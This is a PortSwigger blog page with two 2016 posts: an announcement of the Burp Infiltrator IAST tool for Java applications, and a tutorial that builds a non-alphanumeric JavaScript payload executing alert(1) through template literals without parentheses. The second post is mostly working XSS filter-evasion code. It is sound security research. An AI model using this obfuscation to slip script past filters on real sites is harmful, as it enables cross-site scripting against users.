login

Burp Suite, the leading toolkit for web application security testing

PortSwigger Web Security Blog

Tuesday, July 26, 2016

Introducing Burp Infiltrator

The latest release of Burp Suite introduces a new tool, called Burp Infiltrator.



Burp Infiltrator is a tool for instrumenting target web applications in order to facilitate testing using Burp Scanner. Burp Infiltrator modifies the target application so that Burp can detect cases where its input is passed to potentially unsafe APIs on the server side. In industry jargon, this capability is known as IAST (interactive application security testing).

Burp Infiltrator currently supports applications written in Java or other JVM-based languages such as Groovy. Java versions from 4 and upwards are supported. In future, Burp Infiltrator will support other platforms such as .NET.

How Burp Infiltrator works

  1. The Burp user exports the Burp Infiltrator installer from Burp, via the "Burp" menu.
  2. The application developer or administrator installs Burp Infiltrator by running it on the machine containing the application bytecode.
  3. Burp Infiltrator patches the application bytecode to inject instrumentation hooks at locations where potentially unsafe APIs are called.
  4. The application is launched in the normal way, running the patched bytecode.
  5. The Burp user performs a scan of the application in the normal way.
  6. When the application calls a potentially unsafe API, the instrumentation hook inspects the relevant parameters to the API. Any Burp payloads containing Burp Collaborator domains are fingerprinted based on their unique structure.
  7. The instrumentation hook mutates the detected Burp Collaborator domain to incorporate an identifier of the API that was called.
  8. The instrumentation hook performs a DNS lookup of the mutated Burp Collaborator domain.
  9. Optionally, based on configuration options, the instrumentation hook makes an HTTP/S request to the mutated Burp Collaborator domain, including the full value of the relevant parameter and the application call stack.
  10. Burp polls the Collaborator server in the normal way to retrieve details of any Collaborator interactions that have occurred as a result of its scan payloads. Details of any interactions that have been performed by the Burp Infiltrator instrumentation are returned to Burp.
  11. Burp reports to the user that the relevant item of input is being passed by the application to a potentially unsafe API, and generates an informational scan issue of the relevant vulnerability type. If other evidence was found for the same issue (based on in-band behavior or other Collaborator interactions) then this evidence is aggregated into a single issue.

Issues reported by Burp Infiltrator

Burp Infiltrator allows Burp Scanner to report usage of potentially dangerous server-side APIs that may constitute a security vulnerability. It also allows Burp to correlate the external entry point for a vulnerability (for example a particular URL and parameter) with the back-end code where the vulnerability occurs.

In the following example, Burp Scanner has identified an XML injection vulnerability based on Burp's existing scanning techniques, and also reports the unsafe API call that leads to the vulnerability within the server-side application:



Burp Infiltrator enables Burp to report:
  • The potentially unsafe API that was called.
  • The full value of the relevant parameter to that API.
  • The application call stack when the API was invoked.
This information can be hugely beneficial for numerous purposes:
  • It provides additional evidence to corroborate a putative vulnerability reported using conventional dynamic scanning techniques.
  • It allows developers to see exactly where in their code a vulnerability occurs, including the names of code files and line numbers.
  • It allows security testers to see exactly what data is passed to a potentially unsafe API as a result of submitted input, facilitating manual exploitation of many vulnerabilities, such as SQL injection into complex nested queries.

Important considerations

Please take careful note of the following points before using Burp Infiltrator:
  • You should read all of the documentation about Burp Infiltrator before using it or inducing anyone else to use it. You should only use Burp Infiltrator in full understanding of its nature and the risks inherent in its utilization.
  • You can use a private Burp Collaborator server with Burp Infiltrator, provided the Collaborator server is configured using a domain name, not via an IP address.
  • You can install Burp Infiltrator within a target application non-interactively, for use in CI pipelines and other automated use cases.
  • During installation of Burp Infiltrator, you can configure whether full parameter values and call stacks should be reported, and various other configuration options.
For more details, including step-by-step instructions, please refer to the Burp Infiltrator documentation.

Friday, July 15, 2016

Executing non-alphanumeric JavaScript without parenthesis

I decided to look into non-alphanumeric JavaScript again and see if it was possible to execute it without parenthesis. A few years ago I did a presentation on non-alpha code if you want some more information on how it works take a look at the slides. Using similar techniques we were able to hack Uber.

A few things have changed in the browser world since the last time I looked into it, the interesting features are template literals and the find function on the array object. Template literals are useful because you can call functions without parenthesis and the find function can be generated using "undefined" and therefore is much shorter than the original method of "filter".

The basis of non-alpha involves using JavaScript objects to generate strings that eventually lead to code execution. For example +[] creates zero in JavaScript, [][[]] creates undefined. By converting objects such as undefined to a string like this [[][[]]+[]][+[]] then we can reuse those characters and get access to other objects. We need to call the constructor property of a function if we want to call arbitrary code, like this [].find.constructor('alert(1)')().

So the first task is to generate the string "find", we need to generate numbers in order to get the right index on the string undefined. Here's how to generate the number 1.

+!+[]//1
Basically the code creates zero ! flips it true because 0 is falsey in JavaScript, then + is the infix operator which makes true into 1. Then we need to create the string undefined as mentioned above and get 4th index by add those numbers together. To produce "f".

[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]//f

Then we need to do the same thing to generate the other letters increasing/decreasing the index.

[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]//i
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//n
[[][[]]+[]][+[]][!+[]+!+[]]//d

Now we need to combine the characters and access the "find" function on an array literal.

[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]//find function

This gives us some more characters to play with, the find function's toString value is function find() {[native code]}, the important character here is "c". We can use the code above to get the find function and convert it to a string then get the relevant index.

[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]//c

Now we continue and get the other characters of "constructor" using "object", true and false and converting them to strings.

[[]+{}][+[]][+!+[]]//o
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//n
[![]+[]][+[]][!+[]+!+[]+!+[]]//s
[!![]+[]][+[]][+[]]//t
[!![]+[]][+[]][+!+[]]//r
[[][[]]+[]][+[]][+[]]//u
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]//c
[!![]+[]][+[]][+[]]//t
[[]+{}][+[]][+!+[]]//o
[!![]+[]][+[]][+!+[]]//r

It's now possible to access the Function constructor by getting the constructor property twice on an array literal. Combine the characters above to form "constructor", then use an array literal []['constructor']['constructor'] to access the Function constructor.

[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]//Function

Now we need to generate the code we want to execute in this case alert(1), true and false can generate alert. then we need the parenthesis from the [].find function.

[!{}+[]][+[]][+!+[]]//a
[!{}+[]][+[]][+!+[]+!+[]]//l
[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]//e
[!![]+[]][+[]][+!+[]]//r
[!![]+[]][+[]][+[]]//t
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//(
+!+[]//1
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//) 


That's the code generated now we need to execute it. Template literals will call a function even if it's an expression this allows you to place them next to each other and is very useful for non-alpha code. The Function constructor returns a function and actually needs to be called twice in order to execute the code. E.g Function`alert(1)``` this is perfectly valid JavaScript. You might think you can just pass a generated string inside a template literal and execute the Function constructor however this won't quite work as demonstrated by the following code alert`${'ale'+'rt(1)'}`. The template literals pass each part of the string as an argument, if you place some text before and after the template literal expression then you'll see two arguments are sent to the calling function, the first argument contains the text before and after the template expression separated by a comma and the second argument contains the result of the template literal expression. Like the following code demonstrates:

function x(){ alert(arguments[0]);alert(arguments[1])  }
x`x${'ale'+'rt(1)'}x`

All that's left to do is pass our generated Function constructor to a template literal and instead of using "x" as above we use "$" at either side of the template literal expression. This creates two unused arguments for the function. The final code is below.

[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$```//Function(alert(1))

Enjoy - @garethheyes

Support Center

Get help and join the community discussions at the Burp Suite Support Center.

Visit the Support Center ›

Copyright 2016 PortSwigger Ltd. All rights reserved.